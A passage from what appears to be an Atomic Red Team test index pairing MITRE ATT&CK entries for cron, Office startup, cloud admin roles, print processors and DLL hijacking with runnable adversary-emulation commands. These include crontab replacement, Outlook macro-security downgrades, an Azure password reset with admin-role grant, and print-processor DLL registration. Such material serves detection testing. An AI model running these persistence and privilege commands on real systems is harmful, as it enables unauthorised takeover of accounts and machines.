        technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse
        function. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)\n"
      supported_platforms:
      - windows
      input_arguments:
        service_name:
          description: Name of the service to modify
          type: string
          default: fax
        new_bin_path:
          description: Path of the new service binary
          type: String
          default: "$env:windir\\system32\\notepad.exe"
        original_bin_path:
          description: Path of the original service binary
          type: String
          default: "$env:windir\\system32\\fxssvc.exe"
      executor:
        command: |-
          Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
          set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}"
          start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null
        cleanup_command: |-
          Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null
          set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null
        name: powershell
        elevation_required: true
  T1053.003:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      created: '2019-12-03T14:25:00.538Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      - source_name: 20 macOS Common Tools and Techniques
        url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: 'Scheduled Task/Job: Cron'
      description: "Adversaries may abuse the <code>cron</code> utility to perform
        task scheduling for initial or recurring execution of malicious code.(Citation:
        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
        job scheduler for Unix-like operating systems.  The <code> crontab</code>
        file contains the schedule of cron entries to be run and the specified times
        for execution. Any <code>crontab</code> files are stored in operating system-specific
        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
        to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: path
          default: "/tmp/persistevil"
      executor:
        name: sh
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

          '
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name} -f
          rm /etc/cron.hourly/#{cron_script_name} -f
          rm /etc/cron.monthly/#{cron_script_name} -f
          rm /etc/cron.weekly/#{cron_script_name} -f
    - name: Cron - Add script to /etc/cron.d folder
      auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846'
      description: 'This test adds a script to /etc/cron.d folder configured to execute
        on a schedule.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo '*/5     *       *       *       *       root    echo "Hello
            from Atomic Red Team"' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: sh
        command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name}

          '
        cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f

          '
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

        '
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: string
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: string
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

          '
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f

          '
  T1137:
    technique:
      x_mitre_platforms:
      - Windows
      - Office 365
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Nick Carr, Mandiant
      - Microsoft Threat Intelligence Center (MSTIC)
      - Sahar Shukrun
      - Praetorian
      - Loic Jaquemet
      - Ricardo Dias
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53
      type: attack-pattern
      created: '2017-12-14T16:46:06.044Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1137
        url: https://attack.mitre.org/techniques/T1137
      - source_name: SensePost Ruler GitHub
        url: https://github.com/sensepost/ruler
        description: 'SensePost. (2016, August 18). Ruler: A tool to abuse Exchange
          services. Retrieved February 4, 2019.'
      - source_name: TechNet O365 Outlook Rules
        url: https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/
        description: Koeller, B.. (2018, February 21). Defending Against Rules and
          Forms Injection. Retrieved November 5, 2019.
      - source_name: CrowdStrike Outlook Forms
        url: https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
        description: Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral
          Movement and Persistence. Retrieved February 5, 2019.
      - source_name: Outlook Today Home Page
        url: https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
        description: Soutcast. (2018, September 14). Outlook Today Homepage Persistence.
          Retrieved February 5, 2019.
      - source_name: Microsoft Detect Outlook Forms
        url: https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
        description: Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook
          Rules and Custom Forms Injections Attacks in Office 365. Retrieved February
          4, 2019.
      - source_name: SensePost NotRuler
        url: https://github.com/sensepost/notruler
        description: SensePost. (2017, September 21). NotRuler - The opposite of Ruler,
          provides blue teams with the ability to detect Ruler usage against Exchange.
          Retrieved February 4, 2019.
      modified: '2022-04-25T14:00:00.188Z'
      name: Office Application Startup
      description: |-
        Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

        A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: |-
        Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.

        Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)

        Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)
      x_mitre_version: '1.3'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1137
    atomic_tests:
    - name: Office Application Startup - Outlook as a C2
      auto_generated_guid: bfe6ac15-c50b-4c4f-a186-0fc6b8ba936c
      description: "As outlined in MDSEC's Blog post https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
        \nit is possible to use Outlook Macro as a way to achieve persistance and
        execute arbitrary commands. This transform Outlook into a C2.\nToo achieve
        this two things must happened on the syste\n- The macro security registry
        value must be set to '4'\n- A file called VbaProject.OTM must be created in
        the Outlook Folder.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /t REG_DWORD /d 1 /f
          mkdir  %APPDATA%\Microsoft\Outlook\ >nul 2>&1
          echo "Atomic Red Team TEST" > %APPDATA%\Microsoft\Outlook\VbaProject.OTM
        cleanup_command: |
          reg delete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Security\Level" /f >nul 2>&1
          del %APPDATA%\Microsoft\Outlook\VbaProject.OTM >nul 2>&1
        name: command_prompt
  T1098.003:
    technique:
      modified: '2024-03-29T18:29:06.873Z'
      name: 'Account Manipulation: Additional Cloud Roles'
      description: "An adversary may add additional roles or permissions to an adversary-controlled
        cloud account to maintain persistent access to a tenant. For example, adversaries
        may update IAM policies in cloud-based environments or add a new global administrator
        in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation:
        Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin,
        October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions,
        a compromised account can gain almost unlimited access to data and settings
        (including the ability to reset the passwords of other admins).(Citation:
        Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account
        modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)
        or other malicious account activity. Adversaries may also modify existing
        [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have
        compromised. This could lead to privilege escalation, particularly if the
        roles added allow for lateral movement to additional accounts.\n\nFor example,
        in AWS environments, an adversary with appropriate permissions may be able
        to use the <code>CreatePolicyVersion</code> API to define a new version of
        an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy
        with additional or distinct permissions to a compromised user account.(Citation:
        Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries
        may add roles to adversary-controlled accounts outside the victim cloud tenant.
        This allows these external accounts to perform actions inside the victim tenant
        without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136)
        or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - Alex Parsons, Crowdstrike
      - Chris Romano, Crowdstrike
      - Wojciech Lesicki
      - Pià Consigny, Tenable
      - Clément Notin, Tenable
      - Praetorian
      - Alex Soler, AttackIQ
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: 'Collect activity logs from IAM services and cloud administrator
        accounts to identify unusual activity in the assignment of roles to those
        accounts. Monitor for accounts assigned to admin roles that go over a certain
        threshold of known admins. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - IaaS
      - SaaS
      - Google Workspace
      - Azure AD
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3
      created: '2020-01-19T16:59:45.362Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/003
        external_id: T1098.003
      - source_name: Expel AWS Attacker
        description: " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett.
          (2022, April 5). Incident report: From CLI to console, chasing an attacker
          in AWS. Retrieved April 7, 2022."
        url: https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/
      - source_name: Microsoft O365 Admin Roles
        description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et.
          al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.
        url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide
      - source_name: AWS IAM Policies and Permissions
        description: AWS. (n.d.). Policies and permissions in IAM. Retrieved April
          1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html
      - source_name: Google Cloud IAM Policies
        description: Google Cloud. (2022, March 31). Understanding policies. Retrieved
          April 1, 2022.
        url: https://cloud.google.com/iam/docs/policies
      - source_name: Invictus IR DangerDev 2024
        description: Invictus Incident Response. (2024, January 31). The curious case
          of DangerDev@protonmail.me. Retrieved March 19, 2024.
        url: https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me
      - source_name: Microsoft Support O365 Add Another Admin, October 2019
        description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.
        url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d
      - source_name: Rhino Security Labs AWS Privilege Escalation
        description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods
          and Mitigation. Retrieved May 27, 2022.
        url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.003
    atomic_tests:
    - name: Azure AD - Add Company Administrator Role to a user
      auto_generated_guid: 4d77f913-56f5-4a14-b4b1-bf7bb24298ad
      description: 'Add an existing Azure user account the Company Administrator Role.

        '
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        target_user:
          description: Name of the user who will be assigned the Company Admin role
          type: string
          default: default
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSOnline module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name MSOnline -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name MSOnline -Force

          '
      executor:
        command: |
          Import-Module MSOnline
          $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
          Connect-MsolService -Credential $Credential
          Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
        cleanup_command: 'Remove-MsolRoleMember -RoleName "Company Administrator"
          -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"

          '
        name: powershell
        elevation_required: false
    - name: Simulate - Post BEC persistence via user password reset followed by user
        added to company administrator role
      auto_generated_guid: 14f3af20-61f1-45b8-ad31-4637815f3f44
      description: |
        This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365.
         Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges
      supported_platforms:
      - azure-ad
      input_arguments:
        auth_username:
          description: Azure AD username used to conduct the adversary activity
          type: string
          default: jonh@contoso.com
        auth_password:
          description: Azure AD password for user auth_username
          type: string
          default: p4sswd
        target_user:
          description: Name of the user whose password be reset and added to the admin
            role.
          type: string
          default: default
        target_password:
          description: The password that the user target_user will be reset to.
          type: string
          default: Ohn05GeMe#$
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSOnline and AzureAD modules must be installed.

          '
        prereq_command: |
          $required_mods = 'AzureAD', 'MSOnline'
          $installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name  | Select-Object -Unique)
          $notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue

          if ($notInstalled) {
          # Prompt for installing the missing ones.
          Write-Output "The following PS modules aren't currently installed:"
          $notInstalled
            exit 1
          }

           else{
            Write-Output "All required PS modules are installed"
            exit 0
           }
        get_prereq_command: |
          Install-Module -Name MSOnline -Scope CurrentUser -Force
          Install-Module -Name AzureAD -Scope CurrentUser -Force
      executor:
        command: |
          Import-Module MSOnline
          Import-Module AzureAD
          $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force
          $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
          $targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force
          Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue
          Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue

          #Saving the ObjectId of the target_user into a variable
          $target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId

          #Reset the password of the target_user
          Set-AzureADUserPassword -ObjectId  $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue

          #Adding target_user
          Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}"
          Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "#{target_user}"
        cleanup_command: |
          Import-Module MSOnline
          $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force
          $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password
          Connect-MsolService -Credential $credential
          Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
          Remove-MsolRoleMember -RoleName "Global Reader" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}"
        name: powershell
        elevation_required: false
  T1547.012:
    technique:
      modified: '2023-10-04T14:16:17.655Z'
      name: 'Boot or Logon Autostart Execution: Print Processors'
      description: |-
        Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)

        Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code> Registry key that points to the DLL.

        For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)

        The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Mathieu Tartare, ESET
      - Tahseen Bin Taj
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor process API calls to <code>AddPrintProcessor</code> and <code>GetPrintProcessorDirectory</code>. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to <code>HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver</code> or <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver</code> as they pertain to print processor installations.

        Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Driver: Driver Load'
      - 'Module: Module Load'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad
      created: '2020-10-05T13:24:49.780Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/012
        external_id: T1547.012
      - source_name: Microsoft AddPrintProcessor May 2018
        description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved
          October 5, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor
      - source_name: Microsoft Intro Print Processors
        description: Microsoft. (2023, June 26). Introduction to print processors.
          Retrieved September 27, 2023.
        url: https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors
      - source_name: ESET PipeMon May 2020
        description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti
          Group. Retrieved August 24, 2020.
        url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.012
    atomic_tests:
    - name: Print Processors
      auto_generated_guid: f7d38f47-c61b-47cc-a59d-fc0368f47ed0
      description: |
        Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
        The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

        Note: The test assumes a x64 Windows operating system.

        The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html)
      supported_platforms:
      - windows
      input_arguments:
        restart:
          description: set to 1 if you want the computer to reboot as part of the
            test
          type: integer
          default: 0
      executor:
        command: |
          if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic}
          net stop spooler
          Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll
          reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f
          net start spooler
          if(#{restart}){
            Restart-Computer
          }
        cleanup_command: |
          net stop spooler
          rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue
          rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue
          remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue
          net start spooler
        name: powershell
        elevation_required: true
  T1574.001:
    technique:
      modified: '2024-04-18T22:54:54.668Z'
      name: 'Hijack Execution Flow: DLL Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

        There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

        Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.

        Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)

        If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Travis Smith, Tripwire
      - Stefan Kanthak
      - Marina Liang
      - Will Alexander
      - Ami Holeston
      x_mitre_deprecated: false
      x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
        modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
        with past behavior) that do not correlate with known software, patches, etc.,
        are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
        the same file name but abnormal paths. Modifications to or creation of `.manifest`
        and `.local` redirection files that do not correlate with software updates
        are suspicious.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Module: Module Load'
      - 'File: File Creation'
      type: attack-pattern
      id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34
      created: '2020-03-13T18:11:08.357Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/001
        external_id: T1574.001
      - source_name: Adversaries Hijack DLLs
        description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved
          October 19, 2023.
        url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/
      - source_name: FireEye Hijacking July 2010
        description: Harbour, N. (2010, July 15). Malware Persistence without the
          Windows Registry. Retrieved November 17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html
      - source_name: FireEye fxsst June 2011
        description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November
          17, 2020.
        url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html
      - source_name: Microsoft Security Advisory 2269637
        description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved
          March 13, 2020.
        url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637
      - source_name: Microsoft Dynamic-Link Library Redirection
        description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN
